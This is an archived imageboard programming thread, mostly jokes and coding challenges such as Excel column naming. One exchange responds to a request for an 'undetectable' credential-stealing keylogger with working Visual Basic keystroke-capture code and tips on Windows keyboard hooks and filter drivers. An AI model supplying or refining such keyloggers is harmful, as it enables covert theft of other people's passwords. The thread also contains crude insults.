[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/dpt/ - Daily Programming Thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 330
Thread images: 68

File: assburger.jpg (67KB, 500x511px) Image search: [Google]
assburger.jpg
67KB, 500x511px
Previous thread at >>52216265

What are you working on, /g/?
>>
>>52219970
>his language can't shoop da woop da woop
>>
File: qxucpfgodct6ogpyfzqt.jpg (55KB, 600x800px) Image search: [Google]
qxucpfgodct6ogpyfzqt.jpg
55KB, 600x800px
how do i program a undeteacble keylogger in visual basic that logs keystrokes and sends the username and password to my email?
>>
>>52219990
Program to learn, don't learn to program.
>>
File: 1445133759360.jpg (144KB, 708x664px) Image search: [Google]
1445133759360.jpg
144KB, 708x664px
>save backup of project
>accidentally put 2015 instead of 2016 in the filename
>go to fix it
>see a 364 days old file that unironically says the project is mostly finished
>>
>>52219990
That's Yakuza level stuff anon. That program would be illegal in 143 countries.
>>
>>52219990
write an AI to do it or you xD
>>
good thread OP
>>
File: Selection_059.png (47KB, 960x1052px) Image search: [Google]
Selection_059.png
47KB, 960x1052px
Fizzbuzz Of The Christ can't match fizzbuzz.pdf:
\documentclass{article}
\usepackage{luacode}
\begin{document}
\noindent
\luaexec{q = "\\\\"}
\begin{luacode*}
for i = 1, 101 do n = i if i % 3 == 0 and i % 5 == 0 then n = "Fizzbuzz" elseif i % 3 == 0 then n = "Fizz" elseif i % 5 == 0 then n = "Buzz" end
tex.print(n..q) end
\end{luacode*}
\end{document}
>>
>>52219990
But why?
Just write a cute on-screen keyboard with a button that says (and looks for) "login" and "password". Name it On-Screen Key Pro. It would be so in-your-face obvious that it will actually be obscure. And people will use it.
>>
>>52219990
It's easy in python
import keylogger
import emails
>>
>>52219990

Define "undeteacble", Also, why do you want to use visual basic?
>>
>>52220171
Why did the Lord choose a proprietary file type to spread His word when there are so many open source alternatives?
>>
>>52220250
PDF is open source, senpai.
>>
>>52220260
>PDF is open source
TOP KEK. Enjoy your botnet :3
>>
File: 1442047946905.png (285KB, 1200x1200px) Image search: [Google]
1442047946905.png
285KB, 1200x1200px
>>52220260
Reverse engineering a specification doesn't make it opensource
>>
File: Selection_060.png (19KB, 283x244px) Image search: [Google]
Selection_060.png
19KB, 283x244px
>>52220274
Why do you lie?
PDF is an open format, and it always has been. The reference for it is open for everybody to view. That's why there's so many independent PDF readers.
I mean look, even wikipedia agrees with me.
>>
>>52220274
>>52220295
Adobe Acrobat/Reader != PDF. The various PDF formats are ISO standards.
>>
>>52220302
>Open format?
>?
TOP KEK
>>
>>52220316
>being this retarded
I hope for your personal life's sake that you're trolling right now.
>>
>>52219990
Public Partial Class MainForm
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


Public Sub New()
' The Me.InitializeComponent call is required for Windows Forms designer support.
Me.InitializeComponent()

'
' TODO : Add constructor code after InitializeComponents
'
End Sub

Sub Timer1Tick(sender As Object, e As EventArgs)
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class



It can not be detected. funny huh?
This is an easy one, you can make stronger ones too. You'll need a textbox for this though (for testing). Then do whatever the fuck you want with it.
>>
>>52220326
>I hope for your personal life's sake that you're trolling right now.
>you're
TOP KEK.

It's your*
>>
>>52220343
yeah i don't want /g/ users to use wireshark and steal the usernames for themselves
>>
>>52220356
*nods*
>>
>>52220395
>*nods*
TOP KEK

It's nod's*
>>
>>52220409
>TOP KEK
TOP KEK

It's ebin xd*
>>
shit thread
>>
>>52220356
>>52220395
>>52220409
>>52220431

Why should anyone want to have you people represent their company?
>>
>>52220467
as usual.
>>
>>52220586
...what?
>>
>>52220618
>They're*
DREIDLE KEK

Theiyre'r*
>>
D is literally perfect
>>
>>52220653
Can D compile to PDF?
>>
>>52220659
>PDF
>D

The D literally stands for D anon
>>
>>52220672
Well then what to the P and F stand for?
>>
>>52220680
per
fect
>>
>>52220687
Who needs neurotypicality when you can just compile to PDF?
>>
>>52220680
Prefer D Family
>>
>>52220718
He said as his parents disowned him.
>>
>>52220687
I am doubtful that such a thing could ever come to pass.
>>
File: emacs@arch_061.png (373KB, 2556x1039px) Image search: [Google]
emacs@arch_061.png
373KB, 2556x1039px
Why don't you compile your programs to PDF, /dpt/?
>>
>>52220781
Why don't you do something useful with your time?
>>
>>52220807
Such as?
>>
my 64-bit os compiles and links! now if only I could figure out where the linker is placing my multiboot header for grub... (Hint: it's not where it should be)
>>
>>52220833
Finding a job.
>>
>>52220856
But I already have a job.
>>
>>52220849
>almost 2017
>only 64 bits

You better up that to at least 128 if you don't want to be finished & bankrupt by the end of the year.
>>
>>52220870
funny.
>>
>>52220888
To be serious though, have you considered compiling your header to PDF?
>>
i'm starting a startup. who's in ?
>>
>>52219990

In Windows you have to choices:
SetWindowsHookEx + LowLevelKeyboardProc
The problem here is you cant inject 64bit dll into 32bit programs neither on the opposite way.

The best one is a kernel filter driver for the Keyboard driver.
>>
File: 200_s.gif (34KB, 356x200px) Image search: [Google]
200_s.gif
34KB, 356x200px
Why should I use linux for development of windows have as good or better tools, like Visual Studio?
>>
>>52220975
botnet
>>
File: 1450674660389.png (215KB, 894x894px) Image search: [Google]
1450674660389.png
215KB, 894x894px
>>52220975
>Visual Studio
>>
>>52220975
This is your brain.

>Why should I use linux for development of windows have as good or better tools, like Visual Studio?
This is your brain on anime and windows.
>>
>>52220975
everything is available through one command line interface on linux. it's easier in my view but of course it's a matter of perspective.

t. Java EE dev
>>
creating a program in Python that can detect keyinputs. What are the standard libraries for detecting key strokes?
>>
>>52220975
Windows is spying on and potentatially reading every line of code you write
>>
Reminder: in the real world, it's OCAML OR BUST!
>>
Hello my friends, is it cool if I ask you guys some questions regarding school and what I should expect to study outside of school if I want to be successful? Its mostly web dev stuff but that general is perpetually dead and you guys seem like you know more anyways.
>>
>>52220954
I'll make the logo.
>>
>>52221043
import keylogger
>>
>>52220954
>>52221174

I'll be the IDEAS GUY
>>
File: 1450312155897.png (35KB, 384x384px) Image search: [Google]
1450312155897.png
35KB, 384x384px
>>52221224
i want to be the ideas guy
>>
>>52221103
Sure. How old are you right now?
>>
>>52220343

>mfw running this code deletes system32

You can't fool me anon.
>>
>>52221103
>what I should expect to study outside of school if I want to be successful
Common Lisp. It's a very powerful language and it's part of the most illustrious (and one of the oldest) family of programming languages.
>>
>>52221307
Thanks! I just turned 22 in November. I am about 2, maybe 2 and a half years behind in school. I switched majors a bunch and thankfully I'm lucky enough to have a well off family that has supported me trying to find something I want to do. Right now I am in the process of getting the degree I know I want, which deals with design theory, web development, and UX type stuff. There are some other random things like graphic design, digital marketing, etc thrown in there too.

I missed out on registering for the first actual web dev process course so I want to learn some stuff on my own in the meanwhile. I know enough HTML and CSS to be able to make a basic site with basic stuff on it, and I have no formal education on php or javascript but I can usually figure out what I'm trying to do via Google. Are there any good free online courses or maybe a book I could find online to get started with learning more about all of this?Maybe something project based?

I have two friends with the same degree from my school who said finding work wasn't very hard as long as you are committed to learning on your own outside of school and putting together projects outside of what is required in school. They have told me that learning stuff like SQL would be very helpful if I am looking for web dev work, and that if I wanted to work in UX somehow, I would need to have a huge portfolio coming out of school.

I just want to know some things I can learn over my last two years in school that would help me do all this stuff.
>>
>>52221508
So you just turned 12? How cute. Enjoy your ban.
>>
>>52221547
Wow very epic
>>
>>52221307
Not that guy. I'm a 26yo male with a BS in Geophysics.

Is there still time or should I rather just give up on programmingf?
>>
I have a challenge for you, /dpt/.

Microsoft Excel uses a special convention to name its column headers. The first 26 columns use the letters 'A' to 'Z'. Then, Excel names its column headers using two letters, so that the 27th and 28th column are 'AA' and 'AB'. After 'ZZ', Excel uses three letters.

Write a function that takes as input the number of the column, and returns its header. The input will not ask for a column that would be greater than 'ZZZ'.

INPUT SAMPLE:
52
3702


OUTPUT SAMPLE:
For each test case your program must print one line containing the Excel column heading corresponding to the integer in the input.

AZ
ELJ


Here is a larger input sample: http://pastebin.com/4Ec9nssL

This is also known as Column Names on Code Eval: https://www.codeeval.com/open_challenges/197/
>>
>>52221613
"solve my codeeval dpt"
fug off m8.
>>
>>52221625
I already passed this challenge, I just want to see what you guys can come up with. It's just for fun anon, it's not like there's money riding on this.
>>
test
>>
reposting
>>52221666
>You're just being a bitch.I implemented a basic input/output HTTP server in less than a day for my class in pure C++.Object oriented and everything, the files even had the correct MIMETYPE pulled from the Windows Registry.
>>
>>52221613
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char **argv) {
FILE *fp = fopen(argv[1], "r");
char line[7];

while (fgets(line, sizeof(line), fp)) {
int limit = atoi(line);
char container[3] = {'A'-1,'A'-1,'A'-1};

for (int i=0; i<limit; i++) {
if (container[2] == 'Z') {
if (container[1] == 'Z') {
container[0]++;
container[1] = 'A'-1;
container[2] = 'A';
}
container[1]++;
container[2] = 'A';
} else {
container[2]++;
}
}
if (container[0] != 'A'-1) putchar(container[0]);
if (container[1] != 'A'-1) putchar(container[1]);
if (container[2] != 'A'-1) putchar(container[2]);
putchar(10);
}
fclose(fp);
return 0;
}
>>
>>52221674
>
if (container[0] != 'A'-1) putchar(container[0]);
if (container[1] != 'A'-1) putchar(container[1]);
if (container[2] != 'A'-1) putchar(container[2]);
putchar(10);


L M F A O
>>
>>52221613
This is literally just "convert base 10 to base 36"
>>
>>52221685
it's perfect tbqh
>>
>>52221674
Interesting, I had a similar solution.
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

string to_cols(int);

int main(int argc, char *argv[])
{
ifstream file(argv[1]);
string line;

while (getline(file, line)) {
string output = to_cols(stoi(line));

cout << output << endl;
}

file.close();
return 0;
}
string to_cols(int n)
{
int m = n;
int i = 0, alphaCounter = 64;
int nextPlace = 0, nextNextPlace = 0;
string ret;

while (i < m) {
if (alphaCounter > 89 && nextPlace > 24) {
alphaCounter = 64;
nextPlace = 0;
nextNextPlace++;
}

else if (alphaCounter > 89) {
alphaCounter = 64;
nextPlace++;
}

++i;
++alphaCounter;
}

if (nextNextPlace > 0) {
char nnp = '@' + nextNextPlace;
char np = '@' + (nextPlace == 0 ? 1 : nextPlace);
char ac = alphaCounter;
ret.push_back(nnp);
ret.push_back(np);
ret.push_back(ac);
}

else if (nextPlace > 0) {
char np = '@' + nextPlace;
char ac = alphaCounter;
ret.push_back(np);
ret.push_back(ac);
}

else {
ret.push_back((char)alphaCounter);
}

return ret;
}
>>
>>52221726
>>52221674
C is hideous
>>
>>52221763
ur hideous
>>
>>52221763
Well one is C the other is C++, but alright; good contribution.
>>
>>52221782
I make my contributions to society, not some shitty NEET treehouse.
>>
>>52221802
Yet here we are!
>>
File: hqdefault.jpg (32KB, 480x360px) Image search: [Google]
hqdefault.jpg
32KB, 480x360px
>>52221802
>>52221824
>>
        static string ExcelHeader(int column)
{
StringBuilder ret = new StringBuilder("");

while (column > 0)
{
ret.Insert(0, (char)((column % 26)+64));
column /= 26;
}

return ret.ToString();
}


meh.
>>
a program that opens a webpage and fills out gmail forms uiing a random name and password and birthday etc. then allows me to fill out the capcha to make massive gmail accounts
>>
>>52221895
i mean that would b cool to have and stuff
...
>>
File: opti-o.png (661KB, 568x800px) Image search: [Google]
opti-o.png
661KB, 568x800px
Still making my steganography program, are there any methods I should implement?
https://github.com/AlphaDelta/PNG-Mask
>>
File: SfFv0am.png (259KB, 359x391px) Image search: [Google]
SfFv0am.png
259KB, 359x391px
>>52221870
>When his loops starts with a while
>>
>>52221892
/qa/ is just a bunch of redditors whining why 4chan isn't how they want it to be, they complain about /pol/ nonstop. Just ignore them.
>>
Can i make vidya game in D
>>
>>52221918
Why is this bad
>>
>>52222002
It isn't, imo
>>
>>52222002
some people are dumbasses and create while loops that could be handled syntactically better as a for loop.

But that guy is probably just a dumbass.
>>
>>52222002
http://sdtimes.com/nasas-10-rules-developing-safety-critical-code/
>2: All loops must have a fixed upper bound. It must be trivially possible for a checking tool to statically prove that a preset upper bound on the number of iterations of a loop cannot be exceeded. If the loop-bound cannot be proven statically, the rule is considered violated.
>>
>>52222057
>everyone should write code as safe as NASA 100% of the time
I once read a remark about a similar restriction imposed by the air force or something similar to NASA; and that if we all moved as slowly and carefully as them, we wouldn't have anything close to the internet by now
>>
theon greyjoy
>>
>>52221613
>52 -> AZ
Eh what's f(0) supposed to return?
If f(0) maps to A I would expect f(52) to be BA
f(25) would be Z, f(26) start of AA, f(51) AZ, etc.
>>
>>52221613
function f(x)
a = {}
i = 1
while x > 0 do
a[i] = string.char(math.floor((x % 26) + 64)); x = x / 26
i = i + 1
end
for q = 1, #a do print(a[q]) end
end

I tried.
>>
File: cap.png (352KB, 623x527px) Image search: [Google]
cap.png
352KB, 623x527px
Whoever dont program using the 10 rules of Nasa is gay.

>>52222222

GET
>>
/brit/ waheeyyy
>>
>>52222211
You fail at life
>>
>>52221968
No, only in ocaml.
>>
>>52222222
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>>
>>52222222
Awww shit
>>
>>52222222
confirmed
>>
File: 1449707889014.jpg (73KB, 727x773px) Image search: [Google]
1449707889014.jpg
73KB, 727x773px
>>52222221
>>
File: 1202422168359.png (132KB, 274x238px) Image search: [Google]
1202422168359.png
132KB, 274x238px
>>52222222
MOM IM ON THE SCREENSHOT
>>
File: 1451544557926.jpg (49KB, 500x401px) Image search: [Google]
1451544557926.jpg
49KB, 500x401px
>>52222222
>>
>>52222221
fuck me sideways
>>
>>52222222
Oh jeez.
>>
File: 1375826456047.png (319KB, 425x450px) Image search: [Google]
1375826456047.png
319KB, 425x450px
>>52222222
can't argue against those repeating digits
>>
File: 04187.jpg (40KB, 403x330px) Image search: [Google]
04187.jpg
40KB, 403x330px
>>52222222
ooooooooo smooth
>>
>>52222211
>>52222222
BTFO
>>
>>52222222
Nice.
>>
>>52222222
Ehh.
>>
>>52222222
You too
>>
File: image.jpg (20KB, 290x290px) Image search: [Google]
image.jpg
20KB, 290x290px
>>52222222
Killed em pham.
>>
File: emilia checks em.png (119KB, 348x447px) Image search: [Google]
emilia checks em.png
119KB, 348x447px
>>52222222
Unable to deny it, I embrace it
>>
File: 1440718229840.png (8KB, 500x500px) Image search: [Google]
1440718229840.png
8KB, 500x500px
>>52222222
Checked.
>>
File: 1442968425683.jpg (113KB, 640x636px) Image search: [Google]
1442968425683.jpg
113KB, 640x636px
>>52222222
>>
>>52222222
Czechoslovakia
>>
>>52222222
Epic get.
>>
>>52222222
No u
>>
>>52222222
FUCK OFF
>>
File: Black_525e55_1386884.jpg (89KB, 640x735px) Image search: [Google]
Black_525e55_1386884.jpg
89KB, 640x735px
>>52222222
Mamma mia looka ata thosa septsa
>>
File: 1690-2.png (37KB, 1262x271px) Image search: [Google]
1690-2.png
37KB, 1262x271px
>>52222222
This isn't even my first big get
>>
File: 14499838.png (477KB, 899x674px) Image search: [Google]
14499838.png
477KB, 899x674px
>>52222222
>>
File: 1431546996999.png (143KB, 672x434px) Image search: [Google]
1431546996999.png
143KB, 672x434px
>>52222222
septs are what I see
>>
So our general is going to get derailed by retards spamming le funny meme pictures now?
>>
File: IMG_1639.jpg (17KB, 216x148px) Image search: [Google]
IMG_1639.jpg
17KB, 216x148px
>>52222222
>>
>>52222222
ayyy
>>
>>52222359
as opposed to retards just spamming?
>>
>>52222359
yeah
>>
>>52222359
You talk as if this general has any intrinsic value when people don't talk about their projects.
>>
>>52222359
Don't Forget your bracket killjoy.
>>
>>52222135
that's something carmack said in his email about inlining, yeah
>>
>>52222359
hurr durr randumb c++ ballsack .exe

there. better?
>>
File: Trump-Thumbs-Up.jpg (21KB, 600x441px) Image search: [Google]
Trump-Thumbs-Up.jpg
21KB, 600x441px
>>52222222
Nice septs
>>
>>52222308
What the fuck is up with that room?
A window right opposite a mirror with a grand piano in between? Get the fuck out.
>>
>>52222359
>oh no our le epic trap thread is being derailed!
>>
File: 1442616905199.jpg (39KB, 525x540px) Image search: [Google]
1442616905199.jpg
39KB, 525x540px
>>52222222
>>
File: 1450572838735.jpg (30KB, 357x362px) Image search: [Google]
1450572838735.jpg
30KB, 357x362px
>>52222222
>>
>>52222432
But they liberally are.
>>
>>52222222
impressive
>>
>>52222222
I'm >>52222211

You got your septs, but this get will live forever raising awareness of the 10 rules of Nasa.

I won in the end.
>>
>>52222432
this comment is lame and derivative
>>
>>52221870

Err.. nevermind, that doesn't actually work.
>>
File: 1450918246974.jpg (75KB, 557x336px) Image search: [Google]
1450918246974.jpg
75KB, 557x336px
>>
>>52222523
negative numbers are a meme
>>
>>52222523
How about you really commit to your nihilistic approach and kill yourself you waste of space.
>>
>>52222532
This always gets me. The term "Software engineer" is so thrown around is ridiculous.

What is the minimum needed for a person to become a Software Engineer, /g/?
>>
File: th.jpg (15KB, 287x300px) Image search: [Google]
th.jpg
15KB, 287x300px
>>52222222
All deez niggaz commentin on deez septs.
>>
>>52222523
>it's a meme
No shit.

I'd argue that it's not meaningful tho. Repeating digits, especially septs are rare, and we do use decimal numbers, so it make sense to meme about it. And that is what makes gets valuable and meaningful.

Also, did you know you're not special at all? You consist of the exact same atoms that were formed in the big bang. You are as general as it gets.
>>
>>52222222
YOU WIN AT LIFE
>>
>>52222222
i wanna be in the screenshot compilation too!
>>
>>52222523
If you had one less chromosome you wouldn't be retarded, feel happy that you're special
>>
>>52222221
eternal shame
>>
File: 1444494106328.jpg (669KB, 1000x776px) Image search: [Google]
1444494106328.jpg
669KB, 1000x776px
>>52220781
>>52220859
Why do noobs like these have cozy jobs when they get excited over a little latex meanwhile I sleep on the floor?

;______________;

When does the suffering stop I want to get off of this ride.
>>
>>52222871
are you qt? become trap and sell your body
>>
File: 1448781506734.gif (499KB, 245x240px) Image search: [Google]
1448781506734.gif
499KB, 245x240px
>>52222222
>>
>>52222893
This is what we're all here for
>>
>>52222893
you asked this earlier. I'm still wearing a shirt and panties
>>
File: le checking don.png (50KB, 212x184px) Image search: [Google]
le checking don.png
50KB, 212x184px
>>52222222
Nice.
>>
>2012+3+1
>not learning underwater programming
>>
>>52222893
gonna need sauce or more
>>
>>52222947
>2016
>needing to learn underwater programming
git gud, scrub!
>>
>>52222871

You know you don't have to be a computer programmer, right? There are plenty of jobs out there.
>>
File: checkem.jpg (66KB, 280x232px) Image search: [Google]
checkem.jpg
66KB, 280x232px
>>52222222
>>
>>52220781
LaTeX worries me.
As a markup language it's great, but there's too much of it that can be used to execute remote code if a web API like the one used in /sci/ was made.
>>
>>52222960
nigga, you don't just choose the programmer life, it chooses you
>>
File: image.jpg (17KB, 430x320px) Image search: [Google]
image.jpg
17KB, 430x320px
>>52222222
>>
>>52222222
nice quads
>>
>>52222987
>nigga, you don't just choose the programmer life

Yeah, you definitely do. Go do something else like welding or become an electrician. Lots of money in it.
>>
>>52222986
That's why you design your program using tools like Emily to prevent any access beside network, input and output, and a firewall to prevent bad connections.
>>
>>52223011
>welding
>electrician

I'm a girl, I don't have the physical capacity for those jobs
>>
>>52223009
>nice quads
This is for you Anon: https://www.youtube.com/watch?v=dihlSqall3k
>>
>>52223034
Post tits or GTFO
>>
File: 1448871488166.jpg (167KB, 1001x502px) Image search: [Google]
1448871488166.jpg
167KB, 1001x502px
>>52222556
The minimum requirement is that you somehow shoehorn yourself into the position.
That is fucking it, you don't have to be good or anything.
Most people I have met who are software engineers are simply clueless nu-males and autists, and nothing even remotely profound has come out of their mouthes but somehow the academic climate is so formed that it rewards them with career positions simply for being a part of this awful God-forsaken epoch of ours.
>>
>>52223034
>I don't have the physical capacity for those jobs

Plenty of women are welders & electricians.
>>
>>52223034
girls don't exist lying faggot
>>
You faggots are about to get a flashlight up the ass if I don't SEE. SOME. FUCKING. C CODE.
>>
>>52223053
not doubting that, but I'm 5'1 and have almost no muscle mass
>>
File: eee.png (241KB, 645x363px) Image search: [Google]
eee.png
241KB, 645x363px
What are you working on, /dpt/?
>>
File: 35412355_p0.jpg (1MB, 1729x879px) Image search: [Google]
35412355_p0.jpg
1MB, 1729x879px
>>52223085
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <string.h>

static const char *input = "\"comment too long\" but input goes here you get the idea";

static const uint_fast8_t stride = 20, num = 4, mline = 20 - 4;
static uint_fast8_t field[20 * 20];
static inline uint_fast8_t at(uint_fast8_t x, uint_fast8_t y) {
return field[stride * x + y];
}

int main()
{
uint_fast32_t max = 0, prod;
uint_fast16_t length = strlen(input);
uint_fast8_t *p = field;
char copied[length];
memcpy(copied, input, strlen(input));
char *tok = strtok(copied, " \n");

while ((tok = strtok(NULL, " \n")))
*p++ = strtoul(tok, NULL, 10);

for (uint_fast8_t y = 0; y < stride; ++y)
for (uint_fast8_t x = 0; x < stride; ++x)
{
const uint_fast32_t p0 = at(x, y);

if (!p0)
continue;

x <= mline ? max = max > (prod = p0 * at(x + 1, y) * at(x + 2, y) * at(x + 3, y)) ? max : prod : 0;
y <= mline ? max = max > (prod = p0 * at(x, y + 1) * at(x, y + 2) * at(x, y + 3)) ? max : prod : 0;
y <= mline && x <= mline ? max = max > (prod = p0 * at(x + 1, y + 1) * at(x + 2, y + 2) * at(x + 3, y + 3)) ? max : prod : 0;
y < stride && x >= num - 1 ? max = max > (prod = p0 * at(x - 1, y + 1) * at(x - 2, y + 2) * at(x - 3, y + 3)) ? max : prod : 0;
}

printf("%" PRIuFAST32 "\n", max);
}
>>
>>52223109
See >>52221917
>>
>>52223109
Rewriting the linux kernel in OCaml.
>>
>>52223109
I'm writing a lexer in C
>>
>>52223142
Literally reinventing the wheel. Sasuga cfags.
>>
>>52223147
how am I reinventing the wheel?
>>
Rewriting the GNU coreutils in Scratch
>>
File: image.png (284KB, 500x380px) Image search: [Google]
image.png
284KB, 500x380px
>>52222222
FUCKING REKTAGE
>>
>>52223153
There's nothing wrong with reinventing the wheel.
>>
File: wheels.jpg (67KB, 467x161px) Image search: [Google]
wheels.jpg
67KB, 467x161px
>>52223147
I don't like the "reinventing the wheel" meme to be honest.
>>
>>52223091

You could still handle it.
>>
/pol/ is about to get a 60,000,000 get.
>>
>>52223337
If you browse /pol/ you need to leave these threads.
>>
>>52223337
get your scripts ready you cucks
>>
>>52222222
very nice digits
>>
File: 1449540324387.jpg (30KB, 297x547px) Image search: [Google]
1449540324387.jpg
30KB, 297x547px
Anyone here pretty knowledgeable with javascript?
I have a very specific issue, but it has turned into something very irritating to me
If anyone is willing to help, I'll explain further
>>
>>52223345
We're all /pol/ here, anon.
>>
>>52223379
Explain further.
>>
File: where.jpg (13KB, 318x240px) Image search: [Google]
where.jpg
13KB, 318x240px
>>52223345
>>
small = "a" .. "z"
large = "A" .. "Z"
digit = "0" .. "9"
atom = small { small | large | digit }


#define IS_LOWER(x) ((x) >= 'a' && (x) <= 'z')
#define IS_UPPER(x) ((x) >= 'A' && (x) <= 'Z')
#define IS_DIGIT(x) ((x) >= '0' && (x) <= '9')

parse_atom(char *buffer, size_t len)
{
size_t i = 0;

if (i < len && IS_LOWER(buffer[i])) {
do { ++i; } while (i < len && (IS_LOWER(buffer[i]) || IS_UPPER(buffer[i]) || IS_DIGIT(buffer[i])));

// success
} else {
// failure
}
}


I'm new to C, is this code an alright way to parse the BNF I specified? How could I make it better?
>>
File: 1435317768008.jpg (43KB, 402x480px) Image search: [Google]
1435317768008.jpg
43KB, 402x480px
rewriting systemd in brainfuck.
>>
File: example.gif (6KB, 294x233px) Image search: [Google]
example.gif
6KB, 294x233px
>>52223393
Great, thank you.
Currently I have a function for encrypting a string while using a key.
After that its encoded as base64 & returned.

My problem is I didn't write it & I'm not sure how to decrypt the message once it has been encrypted.

I've made a gif of the function being used.
Pic related.

Here is a link to the script, two functions
http://pastebin.com/raw/35UszTy0
Really need to work on decoding.
I understand the script is a bit hard to read, sorry.
>>
File: nyan.webm (516KB, 1328x742px) Image search: [Google]
nyan.webm
516KB, 1328x742px
Anyway on how to make this faster?
>>
File: postgrabber.png (510KB, 1919x1079px) Image search: [Google]
postgrabber.png
510KB, 1919x1079px
just woke up, reposting from this morning.
imagedownloader :^)
>>
>>52223541
How are you getting the image URLs?
>>
>>52223508
kilk ur selft
>>
>>52223553
use regular expressions to get them out of the page source.
>>
>>52223557
haha
the original was heavily obfuscated & "minified", so yeah its ugly & has useless vars, etc

you can ignore all that, i just need to focus on reversing the process
>>
>>52223574
I don't have any small gif with a simple colour pallete. Stop acting like a gaylord.
>>
>>52223582
>>>/global/rules/14

I hope you get banned.
>>
Set of 100 events
If the current event has desired connection to the previous
Add one to result
Finish by dividing result by 100


Is this calculating probability of the event correctly?
>>
>>52223614
>been here since 2005
>Never read the rules
>>
>>52223541
>Enjoy <3

Gay.
>>
>>52223621
No.
Calculating the probability of an event occurring out of a set of events from a sample size of 1 is not statistically relevant.
>>
>>52223647
Having said that, you may be interested in Markov chains.
It's a statistical model using matrices to represent the probability of one state changing to another state.
The model is memoryless, and can be extrapolated using math to derive the probability of every event occurring given some initial state.
>>
>>52223583
>My problem is I didn't write it & I'm not sure how to decrypt the message once it has been encrypted.

As long as this unknown Base64 implementation is correct, just write a standard decryptor. But if you've got some hybrid implementation with a key, I guess you'll just have to reverse it. e.g, inverting bitwise operators. Not really a JavaScript problem, but just reading weird code problem
>>
>>52223110
Literally what the fuck??

>>52223430
Lots of code on a single line.
I'd do

int is_atom_char (char c) {
return IS_LOWER(c) || ...
}

int parse_atom (char* buffer, size_t len) {
if (!is_atom_char(buffer[0])) {
// failure
return 0;
}

size_t i;
for (i = 0; i < len && is_atom_char(buffer[i]); i++)
;
// success
return 1;
}
>>
why hasn't anyone hacked the mods yet? are you all stupid???
>>
>>52223710
There are some errors in your code but I get the idea, thanks.
>>
>>52223679
sorry, I must've confused you
its two steps
first the string is encrypted
THEN its encoded to base64
Im not asking how to encode or decode base64, im asking how to create the decrypt function from this encrypt function
>>
>>52223761
>first the string is encrypted
That is sort of what I was saying. Base64 is indeed not for encryption. I guess your only option like I was saying is to reverse-engineer it. Would probably take a bit of work, would be up to you.
>>
File: 20160104_051722.jpg (584KB, 2048x1152px) Image search: [Google]
20160104_051722.jpg
584KB, 2048x1152px
>tfw complimentary first class travel
Why don't you have a comfy IT job yet /dpt/?

also who else doing hackerrank? codeeval is so dead
>>
>>52223824
>First class

Wow si-

>Train

R-really impressive dude
>>
>>52223824
Why are you travelling at 5am?
>>
>>52223824
>passenger trains
These still exist?
>>
>>52223824
Can a random person end up in front of you? I legit don't think I could ride like that.
>>
>>52223847
Trains are the most efficient mode of mechanized transportation.
>>
>>52223815
well the encrypted string obviously looks like garbage & contains non-standard characters so that is the reason for the base64 encoding

anyway i assumed that it wouldnt be too hard to reverse the encryption process, but i've failed over & over & over now

thanks anyway anon
>>
>>52223833
I get plane rides too family

>>52223841
work

>>52223847
pullin me leg m8
>>
>>52223847
More often than other modes of transport in Europe
>>
>>52223876
Not first class plane rides
>>
>>52223876
>work

But still, how long is your commute/what time do you have to be in at to be travelling at 5am?
>>
why haven't any of you hacked the mods? are you all stupid???
>>
>>52223893
yeah I do m8, but only for work. They're mostly ok with it because I will barely do any work travel

>>52223901
going from London to shrewsbury, I start at 9
>>
>>52222222
Got em boss
>>
>>52223925
Nah m8
>>
>>52223857
Standard class on Pendolino trains have some airline style seats if you freak out at the prospect of human contact.

>>52223925
Why would you live in London if your work is in Shrewsbury? The rent is criminal.
>>
File: 1451000741719.jpg (25KB, 300x245px) Image search: [Google]
1451000741719.jpg
25KB, 300x245px
>>52222222
>>
>>52223954
yeah m8

>>52223969
grew up in london, just visited family for the holidays, I wanted to spend as much time here, so I'm leaving straight for work

btw there were like 5 or 6 prozzies down romford road lads at 4am, just a heads up
>>
File: 325.png (648KB, 600x450px) Image search: [Google]
325.png
648KB, 600x450px
>>52222222
nice
>>
File: 1451248085499.jpg (24KB, 335x525px) Image search: [Google]
1451248085499.jpg
24KB, 335x525px
>>52222222
>>
total noob retard here. i'm stuck on something and i have no idea what is up. can someone check to see if my css is wrong or something? the [alt] link is supposed to only be visible when hovering over the [steam] link, but its not working like it should

does anyone have any idea what i am fucking up here?

http://codepen.io/anon/pen/LGxrbV
>>
File: PB2.jpg (23KB, 500x385px) Image search: [Google]
PB2.jpg
23KB, 500x385px
>>52222222
I'm liking the quads, Halberstam
>>
>>52222222
Shit get
>>
File: doubles2.jpg (42KB, 1012x433px) Image search: [Google]
doubles2.jpg
42KB, 1012x433px
>>52224061
>quads
>>
>>52223508
Don't use the
System.Console
class for things like this, it will push the buffer every time you
Write()
, you'll have to use your own buffer using P/Invoke and WriteConsoleOutput
>>
>>52224046
<div id=steam>
<ul style="list-style-type: none">
<li><a href="steamlink">「steam」</a></li>
<li>
<ul style="list-style-type: none">
<li><a href="steamlink2">「alt」</a></li>
</ul>
</li>
</ul>
</div>


#steam ul li + ul {
visibility: hidden;
}

#steam ul li:hover + ul {
visibility: visible;
}
>>
>>52222871
>sleeping on the floor
>not moving to india and starting your own webshit development firm
>>
Anyone familiar with SFML and CMake here? I have copied their FindSFML module into my cmake project and added the following to my CMakeLists:
# SFML
set(SFML_STATIC_LIBRARIES TRUE)
find_package(SFML COMPONENTS system window audio graphics REQUIRED)
include_directories(${SFML_INCLUDE_DIR})
link_libraries(${SFML_LIBRARIES})


